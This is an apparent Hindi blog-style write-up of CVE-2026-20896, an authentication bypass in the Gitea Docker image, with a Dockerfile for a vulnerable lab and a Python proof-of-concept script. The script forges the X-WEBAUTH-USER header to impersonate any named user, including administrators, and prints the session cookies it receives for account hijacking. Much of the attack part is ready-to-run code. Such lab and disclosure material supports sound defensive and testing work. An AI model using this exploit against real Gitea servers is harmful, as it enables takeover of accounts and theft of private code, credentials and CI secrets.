CVE-2026-20896 प्रमाणीकरण बायपास भेद्यता का Gitea पर शोषण करने हेतु एक व्याख्या और PoC। Gitea इंस्टेंस में वैध उपयोगकर्ताओं के session tokens चुराने में सक्षम होना।
Gitea एक हल्का, ओपन-सोर्स Git होस्टिंग प्लेटफ़ॉर्म है जो संगठनों और डेवलपर्स को स्रोत कोड रिपॉजिटरी प्रबंधित करने, मुद्दों को ट्रैक करने, परिवर्तनों की समीक्षा करने और सॉफ़्टवेयर परियोजनाओं पर सहयोग करने की सुविधा देता है। यह GitHub और GitLab जैसे प्लेटफ़ॉर्म के समान कार्यक्षमता प्रदान करता है, लेकिन इसे स्व-होस्टेड, कुशल और बनाए रखने में आसान बनाने के लिए डिज़ाइन किया गया है, जिससे यह उन संगठनों के लिए उपयुक्त है जो अपने कोड और विकास अवसंरचना पर अधिक नियंत्रण चाहते हैं।
CVE-2026-20896 आधिकारिक Gitea Docker इमेज में एक गंभीर प्रमाणीकरण-बाईपास भेद्यता है, जिसे CVSS 9.8 (Critical) रेटिंग दी गई है। यह 1.26.2 तक के Gitea Docker इमेज संस्करणों को प्रभावित करती है। अंतर्निहित समस्या एक असुरक्षित डिफ़ॉल्ट कॉन्फ़िगरेशन है:
REVERSE_PROXY_TRUSTED_PROXIES = *, जिसके कारण Gitea किसी भी IP पते से आने वाले रिवर्स-प्रॉक्सी प्रमाणीकरण हेडर पर भरोसा करता है। जब रिवर्स-प्रॉक्सी प्रमाणीकरण सक्षम होता है, तो एक बिना प्रमाणीकरण वाला दूरस्थ हमलावर नकलीX-WEBAUTH-USERहेडर भेज सकता है और Gitea हमलावर को निर्दिष्ट उपयोगकर्ता के रूप में मान लेता है। विशेष रूप से, किसी व्यवस्थापक की पहचान धारण करने पर पासवर्ड या मान्य प्रमाणीकरण टोकन के बिना पूर्ण व्यवस्थापकीय पहुँच प्राप्त की जा सकती है।
संभावित प्रभाव गंभीर है, क्योंकि Gitea तक व्यवस्थापकीय पहुँच निजी स्रोत कोड रिपॉजिटरी, क्रेडेंशियल और CI/CD रहस्यों को उजागर कर सकती है, साथ ही रिपॉजिटरी, SSH कुंजियों, वेबहुक और अन्य सुरक्षा-संवेदनशील सेटिंग्स में संशोधन की अनुमति दे सकती है। यह भेद्यता विशेष रूप থেকে उन डिप्लॉयमेंट्स के लिए प्रासंगिक है जो प्रभावित Docker इमेज को रिवर्स-प्रॉक्सी प्रमाणीकरण के साथ उपयोग करते हैं; यह केवल Gitea के सामान्य पासवर्ड प्रमाणीकरण तंत्र में कोई दोष नहीं है। Gitea ने इस समस्या को संस्करण 1.26.3 में संबोधित किया है, और व्यवस्थापकों को सलाह दी जाती है कि वे वर्तमान पैच किए गए रिलीज़ में अपग्रेड करें और असुरक्षित वाइल्डकार्ड सेटिंग पर निर्भर रहने के बजाय अपने रिवर्स-प्रॉक्सी ट्रस्ट कॉन्फ़िगरेशन की समीक्षा करें। रिपोर्टों से यह भी संकेत मिला है कि खुले (exposed) Gitea इंस्टेंस के खिलाफ शोषण के प्रयास हो रहे हैं, जिससे शीघ्र निवारण विशेष रूप से महत्वपूर्ण हो जाता है।
हम Gitea के एक भेद्य संस्करण, इस मामले में 1.26.2, का उपयोग करके निम्नलिखित Dockerfile के माध्यम से एक Docker कंटेनर चलाएँगे:
FROM gitea/gitea:1.26.2
# Reverse-proxy authentication must be enabled to reproduce the vulnerable
# authentication flow described by CVE-2026-20896.
ENV GITEA__database__DB_TYPE=sqlite3 \
GITEA__database__PATH=/data/gitea/gitea.db \
GITEA__security__INSTALL_LOCK=true \
GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true
RUN <<'EOF'
cat > /usr/local/bin/lab-entrypoint <<'SCRIPT'
#!/bin/sh
set -eu
CONFIG=/data/gitea/conf/app.ini
URL=http://127.0.0.1:3000
ADMIN_PASSWORD='Password123$!'
# Start Gitea using the original image entrypoint.
/usr/bin/entrypoint "$@" &
pid=$!
trap 'kill -TERM "$pid" 2>/dev/null || true' TERM INT
# Wait until Gitea is ready before creating the lab account.
until curl -fsS "$URL/api/healthz" >/dev/null 2>&1; do
sleep 1
done
# Create a local administrator account for vulnerability verification.
su-exec git gitea admin user create \
--config "$CONFIG" \
--username jbkira \
--password "$ADMIN_PASSWORD" \
--email [email protected] \
--admin \
--must-change-password=false \
>/dev/null
wait "$pid"
SCRIPT
chmod +x /usr/local/bin/lab-entrypoint
EOF
ENTRYPOINT ["/usr/local/bin/lab-entrypoint"]
फिर डॉकर कंटेनर बनाने के लिए निम्नलिखित कमांड का उपयोग करें:
docker build -t gitea-cve-2026-20896-lab .
अंत में, निम्नलिखित कमांड का उपयोग करके डॉकर कंटेनर को डिप्लॉय करें:
docker run -d --name gitea-cve-2026-20896 -p 3000:3000 gitea-cve-2026-20896-lab
यदि हम Gitea इंस्टेंस पर किसी भी उपयोगकर्ता का नाम जानते हैं, तो हम
X-WEBAUTH-USER: usernameहेडर का दुरुपयोग करके उसकी पहचान धारण कर सकते हैं। इस लैब में हमने jbkira नामक एक उपयोगकर्ता बनाया है, इसलिए हम किसी प्रॉक्सी का उपयोग करके Gitea के मुख्य पृष्ठ तक सामान्य बिना-प्रमाणीकरण वाली पहुँच को कैप्चर करेंगे; उदाहरण के लिए मैं BurpSuite का उपयोग करूँगा और हेडर डालेंगे:
यदि हम उस अनुरोध को
X-WEBAUTH-USERहेडर के साथ आगे बढ़ाते हैं, तो जब हम अपने ब्राउज़र में फिर से Gitea पृष्ठ पर जाएँगे, तो हम देखेंगे कि हम अब jbkira उपयोगकर्ता के रूप में लॉग इन हैं। लेकिन यह हमेशा उस तरह काम नहीं करता है, इसलिए मैंने एक PoC स्क्रिप्ट बनाई है जो हमले को अंजाम देती है और लक्षित उपयोगकर्ता की सत्र कुकी (session cookie) चुरा लेती है, जिसे आप बाद में अपने ब्राउज़र में कॉपी-पेस्ट करके लक्षित उपयोगकर्ता तक पहुँच प्राप्त कर सकते हैं।
Python में स्वचालित PoC जो प्रमाणीकरण बाईपास दोष का दुरुपयोग करता है और लक्षित उपयोगकर्ता की सत्र कुकी चुरा लेता है:
import requests
import argparse
# Color codes for terminal output
GREEN = "\033[92m"
RED = "\033[91m"
YELLOW = "\033[93m"
ORANGE = "\033[33m"
BLUE = "\033[94m"
RESET = "\033[0m"
def attack(url, target_user):
METHOD = "GET"
HEADERS = {
"User-Agent": "Mozilla/5.0",
"X-WEBAUTH-USER": f"{target_user}",
}
resp = requests.request(method=METHOD,url=url,headers=HEADERS,verify=False)
print(f"[+] Status code: {resp.status_code}\n")
# Cookies that the server has set (via Set-Cookie)
if resp.cookies:
print(f"{GREEN}[+] Cookies retrieved for user {target_user}:{RESET}")
for cookie in resp.cookies:
print(f" {cookie.name} = {cookie.value}")
else:
print(f"{RED}[-] The server has not returned any cookies.{RESET}")
def argparse_setup():
parser = argparse.ArgumentParser(description="Exploit for Gitea Authentication Bypass (CVE-2026-20896) created by JBKira")
parser.add_argument("-u", "--url", help="Target URL (e.g., http://targetIP:3000/)", required=True)
parser.add_argument("-t", "--target-user", help="Target user for authentication bypass", required=True)
return parser.parse_args()
def banner():
print(f"{YELLOW}")
print(r"""
███ █ █ █████ ███ ███ ███ ███ ███ ███ ███ ███ ███
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █
█ █ █ ████ ████ █ █ █ █ ████ ████ █ █ █ ███ ████ ████
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █
███ █ █████ █████ ███ █████ ███ █████ ███ ███ ███ ███
""")
print(f"CVE-2026-20896 Exploit for Gitea Authentication Bypass created by JBKira{RESET}")
print(f"{ORANGE}github.com/judgedbykira{RESET} | {BLUE}linkedin.com/in/yeray-medina{RESET}")
print(f"Only use this in real penetration tests or lab environments. Unauthorized use is illegal.\n")
def main():
banner()
args = argparse_setup()
attack(args.url, args.target_user)
if __name__ == "__main__":
main()
उदाहरण उपयोग:
┌──(kali㉿jbkira)-[~/Desktop/PoCs/gitea-CVE-2026-20896]
└─$ python3 poc.py -u http://localhost:3000 -t jbkira